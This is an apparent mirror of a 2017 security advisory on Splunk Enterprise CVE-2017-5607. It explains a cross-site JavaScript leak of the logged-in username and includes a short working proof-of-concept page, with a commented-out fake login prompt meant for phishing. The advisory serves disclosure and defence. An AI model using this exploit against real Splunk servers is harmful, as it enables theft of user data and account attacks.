Splunk Enterprise – Information Disclosure

• Exploit Database
• 127 阅读

• 作者： hyp3rlinx
  日期： 2017-03-31
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/41779/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143

  [+] Credits: John Page AKA hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source:http://hyp3rlinx.altervista.org/advisories/SPLUNK-ENTERPRISE-INFORMATION-THEFT.txt [+] ISR: ApparitionSec     Vendor: =============== www.splunk.com       Product: ================== Splunk Enterprise     Splunk provides the leading platform for Operational Intelligence. Customers use Splunk to search, monitor, analyze and visualize machine data. Splunk Enterprise, collects and analyzes high volumes of machine-generated data.       Vulnerability Type: ================================== Javascript (JSON) Information Theft       CVE Reference: ============== CVE-2017-5607       Security Issue: ================ Attackers can siphon information from Splunk Enterprise if an authenticated Splunk user visits a malicious webpage. Some useful data gained is the currently logged in username and if remote user setting is enabled. After, the username can be use to Phish or Brute Force Splunk Enterprise login. Additional information stolen may aid in furthering attacks.   Root cause is the global Window JS variable assignment of config?autoload=1 &apos;$C&apos;.   e.g.   window.$C = {"BUILD_NUMBER": 207789, "SPLUNKD_PATH"... etc... }   To steal information we simply can define a function to be called when the &apos;$C&apos; JS property is "set" on webpage, for example. Object.defineProperty( Object.prototype, "$C", { set:function(val){...   The Object prototype is a Object that every other object inherits from in JavaScript, if we create a setter on the name of our target in this case "$C", we can get/steal the value of this data, in this case it is very easy as it is assigned to global Window namespace.     Affected Splunk Enterprise versions: 6.5.x before 6.5.3 6.4.x before 6.4.6 6.3.x before 6.3.10 6.2.x before 6.2.13.1 6.1.x before 6.1.13 6.0.x before 6.0.14 5.0.x before 5.0.18 and Splunk Light before 6.5.2   Vulnerability could allow a remote attacker to obtain logged-in username and Splunk version-related information via JavaScript.     References: ============= https://www.splunk.com/view/SP-CAAAPZ3 https://www.splunk.com/view/SP-CAAAPZ3#InformationLeakageviaJavaScriptCVE20175607       Exploit/POC: =============   Reproduction:   1) Log into Splunk 2) place the below Javascript in webpage on another server.   "Splunk-Data-Theft.html"   <script> Object.defineProperty( Object.prototype, "$C", { set:function(val){ //prompt("Splunk Timed out:\nPlease Login to Splunk\nUsername: "+val.USERNAME, "Password") for(var i in val){ alert(""+i+" "+val[i]); } } }); </script>     <script src="https://VICTIM-IP:8000/en-US/config?autoload=1"></script>     3) Visit the server hosting the "Splunk-Data-Theft.html" webpage, grab current authenticated user 4) Phish or brute force the application.       Video POC URL: =============== https://vimeo.com/210634562       Network Access: =============== Remote       Impact: ======================= Information Disclosure       Severity: ========= Medium       Disclosure Timeline: =================================================== Vendor Notification:November 30, 2016 Vendor Acknowledgement: December 2, 2016 Vendor Release Splunk 6.5.3 / Patch : March 30, 2017 March 31, 2017: Public Disclosure       [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c).